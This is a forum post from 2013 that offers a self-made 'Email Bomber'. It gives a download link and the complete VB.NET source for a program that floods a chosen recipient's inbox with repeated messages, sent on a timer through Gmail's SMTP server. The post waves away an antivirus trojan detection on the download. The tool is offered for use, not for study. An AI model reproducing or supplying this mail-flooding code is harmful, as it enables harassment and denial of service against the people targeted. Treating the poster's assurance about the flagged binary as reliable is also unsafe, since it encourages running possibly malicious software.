Simple Email Bomber 07-18-2013, 04:07 AM
#1
![[Image: FRqtKWP.png]](http://i.imgur.com/FRqtKWP.png)
Simple and easy Email Bomber I made. Not much explanation to do for this lol.
Download: http://www.mediafire.com/?4efqda5d3c3oyko
Virus Scan: https://www.virustotal.com/en/file/accad...374116611/
(Ikarus is saying trojan, but Blue can vouch that I make 100% clean programs..Plus honestly why would I put a virus into an email bomber xD)
Here's my source
Code:
Imports System.Net.Mail
Imports System.IO
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Timer1.Stop()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim MyMailMessage As New MailMessage
Try
MyMailMessage.From() = New MailAddress(TextBox1.Text)
MyMailMessage.To.Add(TextBox3.Text)
MyMailMessage.Subject = TextBox5.Text
MyMailMessage.Body = (TextBox4.Text)
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTP.Send(MyMailMessage)
Catch ex As Exception
End Try
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Interval = TextBox6.Text
End Sub
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
MsgBox("You have to set the time interval first and click set speed before clicking bomb. 1 = 1 second. ~Gingie")
End Sub
End Class
(This post was last modified: 07-19-2013, 09:16 AM by myt21.)
![[Image: sasuke_akatsuki_robes_by_giiinger-d6gy0yi.png]](http://fc00.deviantart.net/fs70/f/2013/218/9/6/sasuke_akatsuki_robes_by_giiinger-d6gy0yi.png)